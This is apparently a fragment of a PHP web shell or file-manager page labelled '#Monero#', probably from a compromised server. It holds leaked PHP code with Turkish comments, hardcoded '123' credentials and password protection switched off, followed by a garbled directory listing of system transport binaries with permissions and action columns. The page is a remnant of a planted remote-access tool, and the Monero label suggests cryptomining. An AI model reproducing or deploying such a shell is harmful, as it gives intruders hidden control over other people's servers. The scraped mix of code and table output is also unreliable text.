# Konfigurasyon
$sayfaSifreleme ='0'; # 1 acik , 0 kapali
$kullaniciAdi = '123';
$sifre = '123';
# yetki kontrol fonksiyonu
function yetkiKontrol($kullaniciAdi,$sifre) {
if(empty($_SERVER['PHP_AUTH_USER']) || empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_USER'] != "$kullaniciAdi" || $_SERVER['PHP_AUTH_PW'] != "$sifre") {
header('WWW-Authenticate: Basic realm="x"');
die(header('HTTP/1.0 401 Unauthorized'));
}
}
# Sayfa Sifreleme aciksa
if($sayfaSifreleme =='1') {
# Veri ve sifre kontrolu
yetkiKontrol($kullaniciAdi,$sifre);
}
?>
#Monero#
| Name |
Size |
Modified |
Perms |
Actions |
| cdrom |
58.46 KB |
June 15 2021 16:05:46. |
0755 |
|
|
| copy |
46.46 KB |
June 15 2021 16:05:46. |
0755 |
|
|
| file |
50.46 KB |
June 15 2021 16:05:46. |
0755 |
|
|
| ftp |
126.55 KB |
June 15 2021 16:05:46. |
0755 |
|
|
| gpgv |
98.46 KB |
June 15 2021 16:05:46. |
0755 |
|
|
| http |
182.46 KB |
June 15 2021 16:05:46. |
0755 |
|
|
| https |
182.46 KB |
June 15 2021 16:05:46. |
0755 |
|
|
| mirror |
114.46 KB |
June 15 2021 16:05:46. |
0755 |
|
|
| mirror+copy |
114.46 KB |
June 15 2021 16:05:46. |
0755 |
|
|
| mirror+file |
114.46 KB |
June 15 2021 16:05:46. |
0755 |
|
|
| mirror+ftp |
114.46 KB |
June 15 2021 16:05:46. |
0755 |
|
|
| mirror+http |
114.46 KB |
June 15 2021 16:05:46. |
0755 |
|
|
| mirror+https |
114.46 KB |
June 15 2021 16:05:46. |
0755 |
|
|
| rred |
74.46 KB |
June 15 2021 16:05:46. |
0755 |
|
|
| rsh |
58.48 KB |
June 15 2021 16:05:46. |
0755 |
|
|
| ssh |
58.48 KB |
June 15 2021 16:05:46. |
0755 |
|
|
| store |
50.46 KB |
June 15 2021 16:05:46. |
0755 |
|
|